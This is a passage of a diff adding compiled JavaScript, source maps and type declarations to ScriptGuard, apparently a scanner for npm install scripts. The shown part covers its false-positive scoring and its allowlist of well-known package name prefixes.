aiDesc.toLowerCase().includes(finding.match.toLowerCase().substring(0, 50))) {
|
|
120
|
+
return true;
|
|
121
|
+
}
|
|
122
|
+
}
|
|
123
|
+
return false;
|
|
124
|
+
}
|
|
125
|
+
/**
|
|
126
|
+
* Calculate confidence score for false positive determination
|
|
127
|
+
*/
|
|
128
|
+
function getFalsePositiveConfidence(finding, analysis) {
|
|
129
|
+
let confidence = 0.5; // Base confidence
|
|
130
|
+
const { pattern, scriptContent } = finding;
|
|
131
|
+
// Higher confidence for well-known packages
|
|
132
|
+
if (isWellKnownPackage(analysis.name)) {
|
|
133
|
+
confidence += 0.2;
|
|
134
|
+
}
|
|
135
|
+
// Higher confidence if script is simple and clear
|
|
136
|
+
if (scriptContent.length < 200) {
|
|
137
|
+
confidence += 0.1;
|
|
138
|
+
}
|
|
139
|
+
// Lower confidence for complex scripts
|
|
140
|
+
if (scriptContent.length > 500) {
|
|
141
|
+
confidence -= 0.1;
|
|
142
|
+
}
|
|
143
|
+
// Lower confidence for critical patterns
|
|
144
|
+
if (finding.riskLevel === 'critical') {
|
|
145
|
+
confidence -= 0.2;
|
|
146
|
+
}
|
|
147
|
+
return Math.max(0, Math.min(1, confidence));
|
|
148
|
+
}
|
|
149
|
+
/**
|
|
150
|
+
* Check if package is well-known/legitimate
|
|
151
|
+
*/
|
|
152
|
+
function isWellKnownPackage(packageName) {
|
|
153
|
+
const knownPackages = [
|
|
154
|
+
'eslint', 'prettier', 'typescript', 'babel', 'webpack',
|
|
155
|
+
'vite', 'rollup', 'esbuild', 'jest', 'vitest', 'mocha',
|
|
156
|
+
'lodash', 'axios', 'react', 'vue', 'angular', 'svelte',
|
|
157
|
+
'express', 'koa', 'fastify', 'next', 'nuxt', 'gatsby',
|
|
158
|
+
'@types', '@babel', '@typescript', '@vue', '@angular'
|
|
159
|
+
];
|
|
160
|
+
return knownPackages.some(known => packageName.startsWith(known));
|
|
161
|
+
}
|
|
162
|
+
//# sourceMappingURL=false-positive-filter.js.map
|
|
@@ -0,0 +1 @@
|
|
|
1
|
+
{"version":3,"file":"false-positive-filter.js","sourceRoot":"","sources":["../../../src/ai/analyzers/false-positive-filter.ts"],"names":[],"mappings":"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"}
|
|
@@ -0,0 +1,7 @@
|
|
|
1
|
+
/** ScriptGuard — Insight generator for actionable security guidance */
|
|
2
|
+
import type { PackageAnalysis, AIInsight } from '../../types/index.js';
|
|
3
|
+
/**
|
|
4
|
+
* Generate actionable security insights for findings
|
|
5
|
+
*/
|
|
6
|
+
export declare function generateInsights(analysis: PackageAnalysis, includeMitigation?: boolean): AIInsight[];
|
|
7
|
+
//# sourceMappingURL=insight-generator.d.ts.map
|
|
@@ -0,0 +1 @@
|
|
|
1
|
+
{"version":3,"file":"insight-generator.d.ts","sourceRoot":"","sources":["../../../src/ai/analyzers/insight-generator.ts"],"names":[],"mappings":"AAAA,uEAAuE;AAEvE,OAAO,KAAK,EAAE,eAAe,EAAW,SAAS,EAAa,MAAM,sBAAsB,CAAC;AAE3F;;GAEG;AACH,wBAAgB,gBAAgB,CAC9B,QAAQ,EAAE,eAAe,EACzB,iBAAiB,GAAE,OAAc,GAChC,SAAS,EAAE,CAqBb"}
|